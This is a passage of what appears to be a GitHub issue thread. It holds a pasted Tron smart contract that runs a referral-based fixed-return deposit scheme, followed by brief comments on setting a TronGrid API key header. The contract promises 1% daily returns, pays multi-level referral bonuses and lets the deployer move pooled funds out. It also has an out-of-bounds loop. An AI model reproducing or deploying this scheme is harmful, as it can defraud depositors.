    users[_owner].total_deposits = 0;
	
    ref_bonuses.push(5);
    ref_bonuses.push(2);
    ref_bonuses.push(1);
    ref_bonuses.push(1);
    ref_bonuses.push(1);

    pool_bonuses.push(40);
    pool_bonuses.push(30);
    pool_bonuses.push(20);
    pool_bonuses.push(10);
}

function() payable external {
require(!isContract(msg.sender),"Contract Address Not Allowed!");  
    _deposit(msg.sender, msg.value);
}

function _setUpline(address _addr, address _upline) private {
    if(users[_addr].upline == address(0) && _upline != _addr && _addr != owner && (users[_upline].paid_time > 0 || _upline == owner)) 
    {
        users[_addr].upline = _upline;
        users[_upline].referrals++;

        emit Upline(_addr, _upline);
		
		total_users++;
		
		users[_addr].id = total_users; 
		userList[total_users] = _addr;

        for(uint8 i = 0; i < ref_bonuses.length; i++) 
        {
            if(_upline == address(0)) break;

            users[_upline].total_structure++;

            _upline = users[_upline].upline;
        }
    }
}

function _deposit(address _addr, uint256 _amount) private {
			
    require(users[_addr].upline != address(0) || _addr == owner, "No upline");
    require(_amount >= 1e8, "Bad amount");
    
	
	require(!isContract(_addr),"Contract Registration Not Allowed!");
	
    if(users[_addr].active_deposit > 0) 
    {
    	collect(_addr);
        //calculate interest till date and change date to now
    	users[_addr].active_deposit += _amount;
    }
    else
    {	
    	users[_addr].total_payouts = 0;
    	users[_addr].active_deposit = _amount;
    	users[_addr].interest = 0;                    	
    }

  	users[_addr].paid_time = uint40(block.timestamp);
	
	users[_addr].wid_limit += (_amount * 2);
	
    users[_addr].total_deposits += _amount;
	
	
    
    total_deposited += _amount;
    
    emit NewDeposit(_addr, _amount);

    address _tupline;
    
    _tupline = users[_addr].upline;
    
    for(uint8 i = 0; i < ref_bonuses.length; i++) 
    {
        if(_tupline == address(0)) break;
        
        users[_tupline].direct_bonus += _amount * ref_bonuses[i] / 100;

        emit DirectPayout(_tupline, _addr, _amount * ref_bonuses[i] / 100);
        
        _tupline = users[_tupline].upline;
    }   

    _pollDeposits(_addr, _amount);

    if(pool_last_draw + 1 days < block.timestamp) 
    {
        _drawPool();
    }
  
    admin_fee_amount += (_amount * 6 / 100);
}

function _pollDeposits(address _addr, uint256 _amount) private {
    pool_balance += _amount * 3 / 100;

    address upline = users[_addr].upline;

    if(upline == address(0)) return;
    
    pool_users_refs_deposits_sum[pool_cycle][upline] += _amount;

    for(uint8 i = 0; i < pool_bonuses.length; i++) {
        if(pool_top[i] == upline) break;

        if(pool_top[i] == address(0)) {
            pool_top[i] = upline;
            break;
        }

        if(pool_users_refs_deposits_sum[pool_cycle][upline] > pool_users_refs_deposits_sum[pool_cycle][pool_top[i]]) {
            for(uint8 j = i + 1; j < pool_bonuses.length; j++) {
                if(pool_top[j] == upline) {
                    for(uint8 k = j; k <= pool_bonuses.length; k++) {
                        pool_top[k] = pool_top[k + 1];
                    }
                    break;
                }
            }

            for(uint8 j = uint8(pool_bonuses.length - 1); j > i; j--) {
                pool_top[j] = pool_top[j - 1];
            }

            pool_top[i] = upline;

            break;
        }
    }
}

function _drawPool() private {
    pool_last_draw = uint40(block.timestamp);
  
    pool_cycle++;

    uint256 draw_amount = pool_balance / 10;

    for(uint8 i = 0; i < pool_bonuses.length; i++) {
        if(pool_top[i] == address(0)) break;

        uint256 win = draw_amount * pool_bonuses[i] / 100;

        users[pool_top[i]].pool_bonus += win;
        pool_balance -= win;

        emit PoolPayout(pool_top[i], win);
    }
    
    for(uint8 i = 0; i < pool_bonuses.length; i++) {
        pool_top[i] = address(0);
    }
}

function deposit(address _upline) payable external {

require(!isContract(msg.sender),"Contract Registration Not Allowed!");
require(!isContract(_upline),"Upline Contract Address Not Allowed!");

    _setUpline(msg.sender, _upline);
    _deposit(msg.sender, msg.value);
}



function collect(address _addr) internal 
{
	require(!isContract(_addr),"Contract Address Not Allowed!");           
    uint secPassed = now - users[_addr].paid_time;        
    
    if (secPassed > 0 && users[_addr].paid_time > 0) 
    {
        uint collectProfit = (users[_addr].active_deposit / 100) * (secPassed) / (1 days);
        users[_addr].interest = users[_addr].interest + collectProfit;
        users[_addr].paid_time = uint40(now);
    }
    
    if((users[_addr].total_payouts + users[_addr].interest + users[_addr].direct_bonus + users[_addr].pool_bonus + users[_addr].past_due) >= users[_addr].wid_limit)
    {
    	 users[_addr].interest = 0;
         users[_addr].direct_bonus = 0;
         users[_addr].pool_bonus = 0;
         users[_addr].past_due = users[_addr].wid_limit - users[_addr].total_payouts;
         //users[_addr].active_deposit = 0;
    }
    
}   

function withdraw() external 
{
	require(!isContract(msg.sender),"Contract Address Withdraw Not Allowed!");
	          
    if(admin_fee_amount >0)
	{
		uint256 _admin_fee_amount;
		_admin_fee_amount = admin_fee_amount;
		admin_fee.transfer(_admin_fee_amount);
		admin_fee_amount -= _admin_fee_amount;
	}	
	if(pool_last_draw + 1 days < block.timestamp) 
	{
		_drawPool();
	}
		
	collect(msg.sender);
	
    uint256 to_payout = users[msg.sender].interest + users[msg.sender].direct_bonus + users[msg.sender].pool_bonus + users[msg.sender].past_due;
	uint256 max_payout = users[msg.sender].wid_limit;
    		
    require(users[msg.sender].total_payouts < max_payout, "Already Matured Full Amount");
   
    uint256 contractBalance = address(this).balance;
   
    if(users[msg.sender].total_payouts + to_payout > max_payout) 
	{
	  to_payout = max_payout - users[msg.sender].total_payouts;
	}
   
   require(to_payout >= 1e7, "Minimum withdrawable amount 10 TRX!");
   
   if(to_payout > (contractBalance - insurance_fund))
   {
   	  users[msg.sender].past_due = to_payout - (contractBalance - insurance_fund);
      to_payout = (contractBalance - insurance_fund);
   }
   else
   {
   	  users[msg.sender].past_due = 0;
   }
		 users[msg.sender].interest = 0;
		 users[msg.sender].direct_bonus = 0;
		 users[msg.sender].pool_bonus = 0;
		 
	require(to_payout >= 1e7, "Minimum withdrawable amount 10 TRX!");
		
		users[msg.sender].ins_amt = (to_payout * 25 / 100);
		insurance_fund = insurance_fund + (to_payout * 25 / 100);
		users[msg.sender].active_deposit = users[msg.sender].active_deposit + (to_payout * 25 / 100);
		
		to_payout = to_payout - (to_payout * 25 / 100);
		
		users[msg.sender].total_payouts += to_payout;
		total_withdraw += to_payout;
					   
		msg.sender.transfer(to_payout);

		emit Withdraw(msg.sender, to_payout);

		if(users[msg.sender].total_payouts >= max_payout) 
		{
			emit LimitReached(msg.sender, users[msg.sender].total_payouts);            
		}		
}


function reinvest() external 
{
	require(!isContract(msg.sender),"Contract Address Not Allowed!");  
	collect(msg.sender);
	
    uint256 to_payout = users[msg.sender].interest + users[msg.sender].direct_bonus + users[msg.sender].pool_bonus + users[msg.sender].past_due;
	uint256 max_payout = users[msg.sender].wid_limit;
    
	require(users[msg.sender].total_payouts < max_payout, "Already Matured Full Amount");
   
	if(users[msg.sender].total_payouts + to_payout > max_payout) 
	{
	  to_payout = max_payout - users[msg.sender].total_payouts;
	}
	
	require(to_payout >= 1e7, "Minimum Reinvest amount 10 TRX!");
	
		users[msg.sender].interest = 0;
		users[msg.sender].direct_bonus = 0;
		users[msg.sender].pool_bonus = 0;
		users[msg.sender].past_due = 0;

		users[msg.sender].active_deposit += to_payout;
		users[msg.sender].wid_limit += (to_payout * 2);
		users[msg.sender].paid_time = uint40(block.timestamp);
		users[msg.sender].total_payouts += to_payout;
		users[msg.sender].total_deposits += to_payout;
		
		total_withdraw += to_payout;
		total_deposited += to_payout;
		total_reinvest += to_payout;
		
		emit ReInvestFund(msg.sender, to_payout);

		address _tupline;
		
		_tupline = users[msg.sender].upline;
		
		for(uint8 i = 0; i < ref_bonuses.length; i++) 
		{
			if(_tupline == address(0)) break;
			
			users[_tupline].direct_bonus += to_payout * ref_bonuses[i] / 100;

			emit DirectPayout(_tupline, msg.sender, to_payout * ref_bonuses[i] / 100);
			
			_tupline = users[_tupline].upline;
		}   

		_pollDeposits(msg.sender, to_payout);

		if(pool_last_draw + 1 days < block.timestamp) 
		{
			_drawPool();
		}
		
		admin_fee.transfer(to_payout * 6 / 100);
}
   
function payoutOf(address _addr) view external returns(uint256 payout) 
{
	require(!isContract(_addr),"Contract Address Not Allowed!");  
	uint secPassed = now - users[_addr].paid_time;        
    
    if (secPassed > 0 && users[_addr].paid_time > 0) 
    {
        uint collectProfit = (users[_addr].active_deposit / 100) * (secPassed) / (1 days);
    	payout = collectProfit + users[_addr].interest + users[_addr].direct_bonus + users[_addr].pool_bonus + users[_addr].past_due;
	}
	if((payout + users[_addr].total_payouts) > users[_addr].wid_limit)
	{
		payout = users[_addr].wid_limit - users[_addr].total_payouts;
	}
}

function releaseInsurance(address payable _user, uint256 _amount) public deployerOnly
{
	require(!isContract(_user),"Contract Address Not Allowed!");  
	require(_amount > 0);
	insurance_fund -= _amount;
	_user.transfer(_amount);
}

function releaseInsureFund(uint256 _portion) public deployerOnly
{
	require(_portion >= 1 && _portion <= 100,"Release Portion Value Between 1 to 100");
	insurance_fund -= insurance_fund * _portion / 100;
}

function getUserById(uint256 userid) view external deployerOnly returns(address user_address) {
    return userList[userid];
}

function getUserDetails(uint256 userid) view external deployerOnly returns(uint256 id, address user_address, uint256 deposit_payouts, uint256 referrals, uint256 total_deposits, uint256 total_payouts, uint256 total_structure) {
	address _addr = userList[userid];
	
    return (users[_addr].id, _addr, users[_addr].interest, users[_addr].referrals, users[_addr].total_deposits, users[_addr].total_payouts, users[_addr].total_structure);
}

	
function userInfo(address _addr) view external returns(address upline, uint256 interest, uint256 active_deposit, uint256 payouts, uint256 direct_bonus, uint256 pool_bonus, uint256 past_due) {
require(!isContract(_addr),"Contract Address Not Allowed!");
    return (users[_addr].upline, users[_addr].interest, users[_addr].active_deposit, users[_addr].total_payouts, users[_addr].direct_bonus, users[_addr].pool_bonus, users[_addr].past_due);
}

function userInfoTotals(address _addr) view external returns(uint256 referrals, uint256 total_deposits, uint256 total_payouts, uint256 total_structure) {
    require(!isContract(_addr),"Contract Address Not Allowed!");  
	return (users[_addr].referrals, users[_addr].total_deposits, users[_addr].total_payouts, users[_addr].total_structure);
}

function contractInfo() view external returns(uint256 _balance, uint256 _total_users, uint256 _total_deposited, uint256 _total_withdraw, uint40 _pool_last_draw, uint256 _pool_balance, uint256 _insure_fund, uint256 _toprefamount) {
    return (address(this).balance, total_users, total_deposited, total_withdraw, pool_last_draw, pool_balance, insurance_fund, pool_users_refs_deposits_sum[pool_cycle][pool_top[0]]);
}	

function transferTRC20Token(address _tokenAddress, uint256 _value) public deployerOnly returns (bool success) 
{ 
   return ERC20Interface(_tokenAddress).transfer(owner, _value);
}

function transferTRC10Token(trcToken _tokenId, uint _value) public deployerOnly 
{
   msg.sender.transferToken(_value, _tokenId);
}

function isContract(address addr) internal view returns (bool) {
    uint size;
    assembly { size := extcodesize(addr) }
    return size > 0;
}

function poolTopInfo() view external returns(address[4] memory addrs, uint256[4] memory deps) {
    for(uint8 i = 0; i < pool_bonuses.length; i++) {
        if(pool_top[i] == address(0)) break;

        addrs[i] = pool_top[i];
        deps[i] = pool_users_refs_deposits_sum[pool_cycle][pool_top[i]];
    }
}

}

wanchalong19 avatar May 31 '21 06:05 wanchalong19

1

wanchalong19 avatar May 31 '21 06:05 wanchalong19

/**
 * Create an HttpProvider object
 *
 * @param string $host
 * @param int $timeout
 * @param $user
 * @param $password
 * @param array $headers
 * @param string $statusPage
 * @throws TronException
 */

you just put $headers to HttpProvider construct

$headers = array(
    'TRON-PRO-API-KEY' => '9021eb62-2be5-477c-b66d-xxxxxxxxxx',
    'Content-Type' => 'application/json'
);
$fullNode = new HttpProvider('https://api.trongrid.io', 3000, false, false, $headers);

slkass avatar Dec 11 '21 06:12 slkass

It is useless to add according to your method, he will still report 403,

shangguan567 avatar May 31 '23 02:05 shangguan567